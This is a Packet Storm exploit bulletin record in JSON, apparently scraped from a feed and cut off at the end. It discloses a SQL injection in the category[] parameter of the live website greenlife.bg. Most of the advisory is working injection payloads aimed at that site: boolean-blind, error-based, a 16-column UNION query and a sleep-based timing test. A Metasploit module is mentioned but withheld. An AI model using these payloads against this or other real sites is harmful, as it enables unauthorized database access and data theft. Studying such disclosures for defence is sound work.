{“lastseen”:”2025-10-17T19:38:52″,”description”:”Greenlife.bg appears to suffer from a remote SQL injection vulnerability. It is unclear what vulnerable code base…”,”published”:”2025-10-16T00:00:00″,”modified”:”2025-10-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Greenlife.bg SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:210609″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Titles: greenlife-Copyright\u00a92025-Multiple-SQLi – Metasploit module – soon\\n # Author: nu11secur1ty\\n # Date: 10\/06\/2025\\n # Vendor: https:\/\/www.greenlife.bg\/bg\\n # Software: https:\/\/www.greenlife.bg\/bg\\n # Reference: https:\/\/portswigger.net\/web-security\/sql-injection\\n \\n ## Description:\\n The category%5B%5D parameter appears to be vulnerable to SQL injection\\n attacks. The payloads and 7609=07609 and and 2154=2162 were each submitted\\n in the category%5B%5D parameter. These two requests resulted in different\\n responses, indicating that the input is being incorporated into a SQL query\\n in an unsafe way.\\n Note that automated difference-based tests for SQL injection flaws can\\n often be unreliable and are prone to false positive results. You should\\n manually review the reported requests and responses to confirm whether a\\n vulnerability is actually present.\\n Additionally, the payload (select*from(select(sleep(20)))a) was submitted\\n in the category%5B%5D parameter. The application took 20206 milliseconds to\\n respond to the request, compared with 1413 milliseconds for the original\\n request, indicating that the injected SQL command caused a time delay.\\n \\n STATUS: HIGH-CRITICAL Vulnerability\\n \\n \\n [+]Payload:\\n – SQLi:\\n \\n “`SQLi\\n —\\n Parameter: category[] (GET)\\n Type: boolean-based blind\\n Title: AND boolean-based blind – WHERE or HAVING clause\\n Payload: category[]=1 and 2154=2162\\u0026category[]=3\\u0026category[]=5) AND\\n 6069=6069 AND (9510=9510\\u0026city[]=1\\u0026city[]=6\\u0026city[]=7\\u0026city[]=8\\u0026city[]=10\\n \\n Type: error-based\\n Title: MySQL \\u003e= 5.0 OR error-based – WHERE, HAVING, ORDER BY or GROUP\\n BY clause (FLOOR)\\n Payload: category[]=1 and 2154=2162\\u0026category[]=3\\u0026category[]=5) OR\\n (SELECT 6421 FROM(SELECT COUNT(*),CONCAT(0x717a626b71,(SELECT\\n (ELT(6421=6421,1))),0x7176717a71,FLOOR(RAND(0)*2))x FROM\\n INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND\\n (5033=5033\\u0026city[]=1\\u0026city[]=6\\u0026city[]=7\\u0026city[]=8\\u0026city[]=10\\n \\n Type: UNION query\\n Title: MySQL UNION query (UCHAR) – 16 columns\\n Payload: category[]=1 and 2154=2162\\u0026category[]=3\\u0026category[]=5) UNION\\n ALL SELECT\\n ‘UCHAR’,’UCHAR’,’UCHAR’,’UCHAR’,’UCHAR’,’UCHAR’,’UCHAR’,’UCHAR’,’UCHAR’,’UCHAR’,’UCHAR’,’UCHAR’,CONCAT(0x717a626b71,0x765652555971466244766b754c4e6263616e686c4877515a467876567069714c4e43504441625a4b,0x7176717a71),’UCHAR’,’UCHAR’,’UCHAR’#\\u0026city[]=1\\u0026city[]=6\\u0026city[]=7\\u0026city[]=8\\u0026city[]=10\\n —\\n “`\\n \\n [+]MSF exploit:\\n \\n “`rb\\n soon… but not will published\\n \\n “`\\n [+]Reproduce:\\n It is not present for security reasons!\\n \\n # Time spent:\\n 00:15:00\\n \\n \\n — \\n System Administrator – Infrastructure Engineer\\n Penetration Testing Engineer\\n Exploit developer at https:\/\/packetstormsecurity.com\/\\n https:\/\/cve.mitre.org\/index.html\\n https:\/\/cxsecurity.com\/ and https:\/\/www.exploit-db.com\/\\n home page: https:\/\/www.asc3t1c-nu11secur1ty.com\/\\n hiPEnIMR0v7QCo\/+SEH9gBclAAYWGnPoBIQ75sCj60E=\\n nu11secur1ty \\u003chttps:\/\/nu11secur1ty.blogspot.com\/\\u003e\\n nu11secur1ty \\u003chttps:\/\/nu11secur1ty.com\/\\u003e”,”sourceHref”:”https:\/\/packetstorm.news\/download\/210609″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/210609\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-10-17T19:38:52″,”description”:”Greenlife.bg appears to suffer from a remote SQL injection vulnerability. It is unclear what vulnerable code base…”,”published”:”2025-10-16T00:00:00″,”modified”:”2025-10-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Greenlife.bg SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:210609″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Titles: greenlife-Copyright\u00a92025-Multiple-SQLi – Metasploit module…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-22261","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n